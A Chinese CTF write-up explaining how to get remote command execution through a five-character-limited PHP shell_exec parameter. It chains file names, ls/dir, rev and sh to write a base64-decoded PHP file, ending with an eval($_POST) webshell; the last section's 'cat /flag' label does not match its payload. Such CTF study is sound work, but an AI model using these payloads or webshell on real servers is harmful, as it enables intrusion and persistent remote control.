CTF限制字符长度RCE
CTF有限字符下的RCE
在网鼎时遇到一个四字符rce的题目,当时没做出来,故在赛后复现时写下总结。
Linux命令浅析
重定向符(>/>>)
linux
中,重定向符>/>>
具有创建文件的功能,且在其前面可执行任意命令,然后将命令执行的结果写入到指定文件中
其中>
命令会将原有文件内容覆盖,>>
会将字符串添加到文件内容末尾,不会覆盖原有的内容
sh执行命令
linux
中sh
命令会将文件中的内容当作命令来执行
ls [选项] [目录名]
linux
中ls
默认按照字母顺序排序,-t
参数以文件修改时间排序,新创建的文件在前面,-h
参数以易读的方式显示文件或目录大小,如 1KB、234MB、2GB 等。-h
参数主要的作用是调整-t
参数位置,下文以具体例子进行分析
星号(*)
linux
中*
可作为通配符使用,在输入*
后,linux
会将该目录下第一个文件名作为命令,剩下的的文件名当作参数
如下例子执行*
即是相当于执行了ls -t
反斜杠\
实现命令换行
linux
中,执行命令时,可以在没有写完的命令后面加\
,实现将一条命令多行化,以行末没有\
为终止
如下相当于执行了cat flag.txt
rev
linux
中,利用rev
可将文件内容倒置,同时可以配合>
,*
使用
dir
linux
中,dir
命令和ls效果基本一样,只有配合重定向符写入文件时有一些差别,ls
写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir
会把内容全部写入一行中,同时会自动补全空格
Example
五字符
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>
简单思路
因为shell_exec能执行系统命令,所以将需要执行的命令拆分,以文件名的形式写入,还需要写一个文件用于存放ls -th >f
,然后通过执行这个文件,将文件名形式的命令写入到文件f
中,最后执行f
就相当于执行了命令
前面我们说到ls -h
参数的使用,那么-h
究竟有什么用呢?
-h参数以易读的方式显示文件或目录大小
简单看个例子,目标是构造ls -t > a
那么应该依次执行
>a\>
>t-
>sl
实际效果
因为ls是默认按照字母顺序来排序的,所以添上-h是为了让命令以正常的顺序运行
>a\>
>ht-
>sl
继续往下看,上面说到
ls写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir会把内容全部写入一行中,同时会自动补全空格
如同这样
用ls的话就会影响到命令的执行,所以这里要用dir来代替ls
payload
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
sh a 最后用sh来执行命令
接下来就可以开始拆分字符串了,第一种可以直接构造一句话木马,因为有<,?
,需要将其进行base64转换,这样payload里就没有特殊字符了,以phpinfo作为例子
<?php phpinfo(); base64:PD9waHAgcGhwaW5mbygpOw==
构造
echo PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
需要注意的是必须要将其中一个空格用${IFS}
代替,否则会被'吃'掉一个空格
那么payload就应该转换为
<?php phpinfo(); base64:PD9waHAgcGhwaW5mbygpOw==
echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php
拆分
>ec\\
>ho\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>aH\\
>Ag\\
>cG\\
>hw\\
>aW\\
>5m\\
>by\\
>gp\\
>Ow\\
>\=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp
因为ls -t按时间先后顺序排序,所以需要倒置,同时加上ls -ht > a
的构造
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>\=\\
>Ow\\
>gp\\
>by\\
>5m\\
>aW\\
>hw\\
>cG\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
sh a
sh f
成功写入
第二种可以直接构造cat /flag
,方法同上
cat /flag base64:PD9waHAgcGhwaW5mbygpOw==
构造
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
最后执行sh 1.php
即可